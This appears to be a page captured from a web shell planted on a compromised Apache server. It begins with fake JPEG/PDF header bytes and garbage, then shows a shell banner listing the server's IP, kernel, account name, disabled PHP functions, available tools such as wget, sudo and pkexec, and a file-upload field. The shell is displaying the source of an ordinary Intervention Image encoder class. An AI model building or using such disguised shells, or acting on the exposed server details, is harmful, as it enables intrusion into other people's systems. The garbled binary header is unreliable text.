ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/intervention/image/src/Intervention/Image/Gd/ |
Upload File : |
<?php namespace Intervention\Image\Gd; class Encoder extends \Intervention\Image\AbstractEncoder { /** * Processes and returns encoded image as JPEG string * * @return string */ protected function processJpeg() { ob_start(); imagejpeg($this->image->getCore(), null, $this->quality); $this->image->mime = image_type_to_mime_type(IMAGETYPE_JPEG); $buffer = ob_get_contents(); ob_end_clean(); return $buffer; } /** * Processes and returns encoded image as PNG string * * @return string */ protected function processPng() { ob_start(); $resource = $this->image->getCore(); imagealphablending($resource, false); imagesavealpha($resource, true); imagepng($resource, null, -1); $this->image->mime = image_type_to_mime_type(IMAGETYPE_PNG); $buffer = ob_get_contents(); ob_end_clean(); return $buffer; } /** * Processes and returns encoded image as GIF string * * @return string */ protected function processGif() { ob_start(); imagegif($this->image->getCore()); $this->image->mime = image_type_to_mime_type(IMAGETYPE_GIF); $buffer = ob_get_contents(); ob_end_clean(); return $buffer; } /** * Processes and returns encoded image as TIFF string * * @return string */ protected function processTiff() { throw new \Intervention\Image\Exception\NotSupportedException( "TIFF format is not supported by Gd Driver." ); } /** * Processes and returns encoded image as BMP string * * @return string */ protected function processBmp() { throw new \Intervention\Image\Exception\NotSupportedException( "BMP format is not supported by Gd Driver." ); } /** * Processes and returns encoded image as ICO string * * @return string */ protected function processIco() { throw new \Intervention\Image\Exception\NotSupportedException( "ICO format is not supported by Gd Driver." ); } /** * Processes and returns encoded image as PSD string * * @return string */ protected function processPsd() { throw new \Intervention\Image\Exception\NotSupportedException( "PSD format is not supported by Gd Driver." ); } }